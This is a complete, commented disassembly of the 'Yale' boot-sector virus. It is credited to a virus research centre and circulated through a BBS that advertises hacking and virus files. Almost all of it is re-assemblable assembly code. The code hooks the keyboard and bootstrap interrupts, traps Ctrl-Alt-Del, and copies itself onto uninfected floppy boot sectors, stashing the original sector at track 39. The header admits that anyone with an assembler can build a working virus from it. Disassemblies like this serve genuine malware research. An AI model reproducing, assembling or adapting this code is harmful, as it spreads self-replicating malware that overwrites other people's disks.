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YALE-ASM.ASM
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Assembly Source File
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1992-05-21
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12KB
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365 lines
;****************************************************************************;
; ;
; -=][][][][][][][][][][][][][][][=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] [=- ;
; -=] For All Your H/P/A/V Files [=- ;
; -=] SysOp: Peter Venkman [=- ;
; -=] [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=][][][][][][][][][][][][][][][=- ;
; ;
; *** NOT FOR GENERAL DISTRIBUTION *** ;
; ;
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
; Around Among the General Public. It Will be Very Useful for Learning how ;
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
; Is. Keep This Code in Responsible Hands! ;
; ;
;****************************************************************************;
page 65,132
title The 'Yale' Virus
; ╔══════════════════════════════════════════════════════════════════════════╗
; ║ British Computer Virus Research Centre ║
; ║ 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England ║
; ║ Telephone: Domestic 0273-26105, International +44-273-26105 ║
; ║ ║
; ║ The 'Yale' Virus ║
; ║ Disassembled by Joe Hirst, April 1989 ║
; ║ ║
; ║ Copyright (c) Joe Hirst 1989. ║
; ║ ║
; ║ This listing is only to be made available to virus researchers ║
; ║ or software writers on a need-to-know basis. ║
; ╚══════════════════════════════════════════════════════════════════════════╝
; The virus consists of a boot sector only on a floppy disk.
; The original boot sector is kept at track thirty-nine, head zero,
; sector eight.
; The disassembly has been tested by re-assembly using MASM 5.0
; Note that this does not create an identical program, as the original
; appears to have been assembled with A86
; MASM would not assemble the instruction at offset 003CH (7C3CH)
; This instruction is undefined on an 8088/8086, and illegal
; on a 80286/80386.
; The program requires an origin address of 7C00H for the first sector
; to load and run as a boot sector
; System variables are defined in either RAM or BOOT (or both)
; depending on the segment used by the program
RAM SEGMENT AT 400H
; System RAM fields
ORG 13H
BW0413 DW ? ; Total RAM size
ORG 17H
BB0417 DB ? ; Key toggles
ORG 72H
BW0472 DW ? ; System reset word
RAM ENDS
BOOT SEGMENT AT 0
; Interrupt addresses
ORG 24H
BW0024 DW ? ; Interrupt 9 offset
BW0026 DW ? ; Interrupt 9 segment
ORG 64H
BW0064 DW ? ; Interrupt 19H offset
BW0066 DW ? ; Interrupt 19H segment
; System RAM fields
ORG 410H
DW0410 DW ? ; System configuration
ORG 413H
DW0413 DW ? ; Total RAM size
; BIOS field
ORG 0E502H
DWE502 DW ?
BOOT ENDS
CODE SEGMENT BYTE PUBLIC 'CODE'
ASSUME CS:CODE,DS:NOTHING
START: CLI
XOR AX,AX ; \ Set SS to zero
MOV SS,AX ; /
MOV SP,7C00H ; Set stack before boot area
STI
ASSUME DS:RAM
MOV BX,0040H ; \ Address RAM area
MOV DS,BX ; /
MOV AX,BW0413 ; Get size of RAM
MUL BX ; Convert to paragraphs
SUB AX,07E0H ; Subtract address after boot area
MOV ES,AX ; Target segment
ASSUME DS:CODE
PUSH CS ; \ Set DS to CS
POP DS ; /
CMP DI,3456H ; Simulated system reset?
JNE BP0010 ; Branch if not
DEC GENNUM[7C00H] ; Decrement generation number
BP0010: MOV SI,SP ; \ Address boot sector area
MOV DI,SI ; /
MOV CX,0200H ; 512 bytes to move
CLD
REPZ MOVSB ; Copy virus to high core
MOV SI,CX ; Address offset zero
MOV DI,7B80H ; Address interrupt save area
MOV CX,0080H ; 128 bytes to move
REPZ MOVSB ; Save first 32 interrupt pointers
CALL BP0030 ; Install interrupt 9 routine
PUSH ES ; \ Transfer to high core
; POP CS ; /
DB 0FH ; This is the previous instruction
PUSH DS ; \ Set ES to DS
POP ES ; /
MOV BX,SP ; Address boot sector area
MOV DX,CX ; A-drive, head zero
MOV CX,2708H ; Track 39, sector 8
MOV AX,0201H ; Read one sector
INT 13H ; Disk I/O
BP0020: JB BP0020 ; Loop on error
JMP BP0190
; Install interrupt 9 routine
BP0030: DEC DW0413 ; Decrement RAM size
MOV SI,OFFSET BW0024 ; Address INT 9 pointer
MOV DI,OFFSET INT_09+7C00H ; Target far jump
MOV CX,4 ; 4 bytes to copy
CLI
REPZ MOVSB ; Copy far address
MOV BW0024,OFFSET BP0050+7C00H ; Install new offset
MOV BW0026,ES ; Install new segment
STI
RET
; Ctrl-Alt-Del depressed - acknowledge keyboard signal
BP0040: IN AL,61H ; Get port B
MOV AH,AL ; Save current state
OR AL,80H ; Turn top bit on
OUT 61H,AL ; Set port B
XCHG AL,AH ; Get original state
OUT 61H,AL ; Reset port B
JMP SHORT BP0110
; Format table for track 39, head zero, 8 sectors (unused)
DB 027H, 000H, 001H, 002H
DB 027H, 000H, 002H, 002H
DB 027H, 000H, 003H, 002H
DB 027H, 000H, 004H, 002H
DB 027H, 000H, 005H, 002H
DB 027H, 000H, 006H, 002H
DB 027H, 000H, 007H, 002H
DB 027H, 000H, 008H, 002H
; Rubbish
DB 024H, 000H, 0ADH, 07CH, 0A3H, 026H, 000H, 059H
DB 05FH, 05EH, 007H, 01FH, 058H, 09DH, 0EAH, 011H
DB 011H, 011H, 011H
; Interrupt 9 routine
BP0050: PUSHF
STI
PUSH AX
PUSH BX
PUSH DS
PUSH CS ; \ Set DS to CS
POP DS ; /
ASSUME DS:CODE
MOV BX,KYSTAT[7C00H] ; Get Ctrl & Alt key states
IN AL,60H ; Get keyboard token
MOV AH,AL ; Save keyboard token
AND AX,887FH
CMP AL,1DH ; Was key Ctrl?
JNE BP0060 ; Branch if not
MOV BL,AH ; Save Ctrl key state
JMP SHORT BP0080
BP0060: CMP AL,38H ; Was key Alt?
JNE BP0070 ; Branch if not
MOV BH,AH ; Save Alt key state
JMP SHORT BP0080
BP0070: CMP BX,0808H ; Are Ctrl & Alt depressed?
JNE BP0080 ; Branch if not
CMP AL,17H ; Is key I?
JE BP0100 ; Branch if yes
CMP AL,53H ; Is key Del?
JE BP0040 ; Branch if yes
BP0080: MOV KYSTAT[7C00H],BX ; Save Ctrl & Alt key states
BP0090: POP DS
POP BX
POP AX
POPF
DB 0EAH ; Far jump to original INT 9
INT_09 DW 0E987H, 0F000H
; Pass on Ctrl-Alt-I
BP0100: JMP BP0240 ; Ctrl-Alt-I
; Ctrl-Alt-Del depressed - main processing
BP0110: MOV DX,03D8H ; VDU mode control address
MOV AX,0800H ; Delay eight cycles
OUT DX,AL ; Disable display
CALL BP0250 ; Delay
MOV KYSTAT[7C00H],AX ; Reset Ctrl & Alt key states
MOV AL,3 ; Mode three
INT 10H ; VDU I/O
MOV AH,2 ; Set cursor address function
XOR DX,DX ; Row zero, column zero
MOV BH,DH ; Page zero
INT 10H ; VDU I/O
MOV AH,1 ; Set cursor size function
MOV CX,0607H ; Cursor lines 6 to 7
INT 10H ; VDU I/O
MOV AX,0420H ; Delay 4 cycles
CALL BP0250 ; Delay
CLI
OUT 20H,AL ; End of interrupt
MOV ES,CX ; Address segment zero
MOV DI,CX ; Address offset zero
MOV SI,7B80H ; Address interrupt save area
MOV CX,0080H ; 128 bytes to move
CLD
REPZ MOVSB ; Restore first 32 interrupt pointers
MOV DS,CX ; Address zero
MOV BW0064,OFFSET BP0130+7C00H ; Install Int 19H offset
MOV BW0066,CS ; Install Int 19H segment
ASSUME DS:RAM
MOV AX,0040H ; \ Address RAM area
MOV DS,AX ; /
MOV BB0417,AH ; Set key toggles off
INC BW0413 ; Restore RAM size
PUSH DS
ASSUME DS:BOOT
MOV AX,0F000H ; \ Address BIOS
MOV DS,AX ; /
CMP DWE502,21E4H ; Is BIOS instruction IN AL,21H?
POP DS
JE BP0120 ; Branch if yes
INT 19H ; Disk bootstrap
BP0120: DB 0EAH ; Far jump to BIOS routine
DW 0E502H, 0F000H
; Interrupt 19H routine
ASSUME DS:BOOT
BP0130: XOR AX,AX ; \ Set DS to zero
MOV DS,AX ; /
MOV AX,DW0410 ; Get system configuration
TEST AL,1 ; Is there a floppy disk
JNZ BP0150 ; Branch if yes
BP0140: PUSH CS ; \ Set ES to CS
POP ES ; /
CALL BP0030 ; Install interrupt 9 routine
INT 18H ; Basica (IBM only)
BP0150: MOV CX,4 ; Retry four times
BP0160: PUSH CX ; Save retry count
MOV AH,0 ; Reset disk sub-system
INT 13H ; Disk I/O
JB BP0170 ; Branch if error
MOV AX,0201H ; Read one sector
PUSH DS ; \ Set ES to DS
POP ES ; /
MOV BX,7C00H ; Boot sector buffer
MOV CX,1 ; Track zero, sector one
INT 13H ; Disk I/O
BP0170: POP CX ; Retrieve retry count
JNB BP0180 ; Branch if no error
LOOP BP0160 ; Retry
JMP BP0140
BP0180: CMP DI,3456H ; Simulated system reset?
JNE BP0200 ; Branch if not
BP0190: DB 0EAH ; Far jump to boot sector area
DW 7C00H, 0
BP0200: MOV SI,7C00H ; Boot sector area
MOV CX,OFFSET INT_09 ; Length to compare
MOV DI,SI ; Virus offset
PUSH CS ; \ Set ES to CS
POP ES ; /
CLD
REPZ CMPSB ; Is boot sector infected?
JE BP0220 ; Branch if yes
INC ES:GENNUM[7C00H] ; Increment generation number
MOV BX,7C7AH ; Address format table
MOV DX,0 ; Head zero, drive zero
MOV CH,27H ; Track 39
MOV AH,5 ; Format track
JMP SHORT BP0210 ; This line was probably an INT 13H
JB BP0230 ; Error branch for deleted INT 13H
BP0210: MOV ES,DX ; \ Write from boot sector area
MOV BX,7C00H ; /
MOV CL,8 ; Sector eight
MOV AX,0301H ; Write one sector
INT 13H ; Disk I/O
PUSH CS ; \ Set ES to CS
POP ES ; /
JB BP0230 ; Branch if error
MOV CX,1 ; Track zero, sector one
MOV AX,0301H ; Write one sector
INT 13H ; Disk I/O
JB BP0230 ; Branch if error
BP0220: MOV DI,3456H ; Signal simulated system reset
INT 19H ; Disk bootstrap
BP0230: CALL BP0030 ; Install interrupt 9 routine
DEC ES:GENNUM[7C00H] ; Decrement generation number
JMP BP0190
; Ctrl-Alt-I
ASSUME DS:CODE
BP0240: MOV KYSTAT[7C00H],BX ; Save Ctrl & Alt key states
MOV AX,GENNUM[7C00H] ; Get generation number
ASSUME DS:RAM
MOV BX,0040H ; \ Address RAM area
MOV DS,BX ; /
MOV BW0472,AX ; Generation to system reset word
JMP BP0090 ; Pass on to original interrupt
; Delay
BP0250: SUB CX,CX ; Maximum count
BP0260: LOOP BP0260 ; Delay loop
SUB AH,1 ; Decrement count
JNZ BP0260 ; Repeat loop
RET
DB 027H, 000H, 008H, 002H ; Last sector of format table
GENNUM DW 016H ; Generation number
KYSTAT DW 0 ; Ctrl & Alt key states
DB 027H, 000H, 008H, 002H ; Last sector of format table
CODE ENDS
END START
